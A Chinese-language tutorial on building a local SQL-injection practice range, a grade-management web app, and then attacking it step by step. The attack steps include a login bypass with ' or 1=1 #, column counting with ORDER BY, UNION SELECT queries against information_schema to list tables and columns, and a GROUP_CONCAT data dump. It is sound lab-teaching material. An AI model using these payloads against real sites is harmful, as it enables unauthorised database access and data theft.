首页 > 分享 > SQL注入——从零开始搭建靶场详细教程

SQL注入——从零开始搭建靶场详细教程

文章目录 一、环境依赖二、靶场搭建Ⅰ、下载靶场文件Ⅱ、创建网站Ⅲ、更改数据库root密码Ⅳ、新建并导入数据库Ⅴ、验证访问靶场 三、实战练习Ⅰ、嗅探字段①、验证合法性※语句解释 ②、查找注入点③、嗅探字段数 Ⅱ、嗅探数据库信息Ⅲ、嗅探数据表信息①、查询所有表②、查询指定表的所有列 Ⅳ、爆数据 完

一、环境依赖

VMware V15.5(可选)Windows 10 x64 虚拟机(可选)phpstudy V8.1MySQL V5.7.26(在phpstudy内选择)Nginx 1.15.11(在phpstudy内选择)PHP V5.6.9(在phpstudy内选择)SQLyog(可用phpstudy内其他软件代替)成绩管理系统靶场

二、靶场搭建

安装以上环境和软件

为模拟真实情况,靶场搭建在虚拟机内,而访问在物理机上完成(可选)
当然,操作均在物理机上进行也没问题

以下操作均在虚拟机内完成

Ⅰ、下载靶场文件

–>靶场文件传送门<–
提取码:244q

Ⅱ、创建网站

phpstudy --> 网站 --> 创建网站 --> 填写域名、端口、根目录,更改PHP版本
物理路径选择解压的靶场路径(需修改成全英文)
请确认版本信息
在这里插入图片描述

Ⅲ、更改数据库root密码

数据库 --> 修改root密码 --> 将root密码修改为123456(与靶场数据库保持一致)
靶场数据库密码在query.php可以查询

<?php require_once('query.html'); $db=mysql_connect('127.0.0.1','root','123456'); ... 1234

在这里插入图片描述

Ⅳ、新建并导入数据库

打开SQLyog --> 新建 --> 填写主机地址为localhost、密码为123456
在这里插入图片描述
左侧栏 --> 右键创建数据库
名称自拟,建议设置成grade

–> 单击选中新建数据库 --> 将靶场文件夹内的.sql文件拖入SQLyog -->左上角执行全部

在这里插入图片描述
导入成功后右下会有提示

成功后即可关闭SQLyog

Ⅴ、验证访问靶场

浏览器输入localhost:端口号访问靶场
在这里插入图片描述

三、实战练习

以下操作在物理机上进行

访问靶场前使用CMD得到虚拟机IP

Ⅰ、嗅探字段

①、验证合法性

输入' #、任意英文字符串、任意数字串验证合法性
若查询结果无报错则语句合法

use mysqli报错是由于使用了过时的PHP连接数据库函数,在此处不影响注入操作
在这里插入图片描述

※语句解释

查询学号基于SQL语法:

SELECT 学号 FROM 数据表 WHERE 名字 = ’ {输入的名字} ’

因此构造了以下语句

SELECT 学号 FROM 数据表 WHERE 名字 = ’ ’ # ’
查找空名字对应的学号,#号将后接入的’注释了

②、查找注入点

输入' or 1=1 #构造语句

SELECT 学号 FROM 数据表 WHERE 名字 = ’ ’ or 1=1 # ’
or使得查询条件变为True,即全查询
在这里插入图片描述

出现所有结果表明学号存在注入点
尝试使用万能账户' or 1=1 #登录,成功
(密码任填)
在这里插入图片描述
接下来查找字段名
使用F12 --> Network 查看发包方式
在这里插入图片描述
从而知道用户名字段名称为user

③、嗅探字段数

输入' ORDER BY -1 #查看是否有字段存在

SELECT 学号 FROM 数据表 WHERE 名字 = ’ ’ ORDER BY -1 # ’
按照第-1列排序(第一列为1),若无报错证明至少存在一列

有字段存在后,从1开始递增反复查询直到报错
报错列-1即是字段总数

Ⅱ、嗅探数据库信息

使用联合查询UNION SELECT XXX得到所需信息

输入'UNION SELECT USER() #查询用户名输入'UNION SELECT VERSION() #查询数据库版本输入'UNION SELECT DATABASE() #查询当前数据库名

Ⅲ、嗅探数据表信息

①、查询所有表

基础数据库有以下几个库information_schema、mysql、performance_shcema、sys
它们记录了整个数据库的基本信息

输入' UNION SELECT table_name FROM information_schema.TABLES WHERE TABLE_SCHEMA = DATABASE() #查询所有数据表信息

SELECT 学号 FROM 数据表 WHERE 名字 = ’ ‘ UNION SELECT table_name FROM information_schema.TABLES WHERE TABLE_SCHEMA = DATABASE() # ’

第一个查询无返回值,第二个查询是在information_schema这个数据库的TABLES表内进行
得到当前数据库包含的所有表的名称
(TABLES表内有所有表的信息)

②、查询指定表的所有列

输入' UNION SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME = "表名"#查询表的所有列名

SELECT 学号 FROM 数据表 WHERE 名字 = ’ ’ UNION SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME = “表名”# ’

第一个查询无返回值,第二个查询是在information_schema这个数据库的COLUMNS表内进行
得到指定数据表包含的所有列的名称
若有重复表,请同时指定数据库名和表名

Ⅳ、爆数据

前提是拿到表结构、字段信息

输入' UNION SELECT GROUP_CONCAT(列1,列2,...,列n) FROM 表名 #
得到指定表指定列的数据

其中,GROUP_CONCAT表示相同行组合便于查看
SELECT 列1,...,列n也可

欢迎在评论区留言
感谢浏览

相关知识

【护网急训】应急响应靶场集,24年想参加hvv的同学抓紧练习吧。
宠物行业专题报告:萌宠时代,结宠同行.PDF
教程:超详细从零开始yolov5模型训练
仓鼠上手教程
狗狗训练从零开始阅读记录.docx
宠臣训狗教程,如何解决,狗狗乱咬东西,如何跟狗狗玩玩具,以及精力旺盛#训狗教程 #训狗 #全套训狗教程 #训狗教程从零开始 #训狗课堂 #训狗经验分享 #创作灵感
定点大小便,训练成果展示,希望你们更有信心,加油#训狗教程 #训狗 #训狗教程从零开始 #训狗经验分享
架设传世sf教程视频
应急响应靶场(近源渗透OS
【应急响应靶场web1】

网址: SQL注入——从零开始搭建靶场详细教程 https://m.mcbbbk.com/newsview315092.html

所属分类:萌宠日常
上一篇: 基于nodejs+vue宠物猫管
下一篇: 如何组装猫树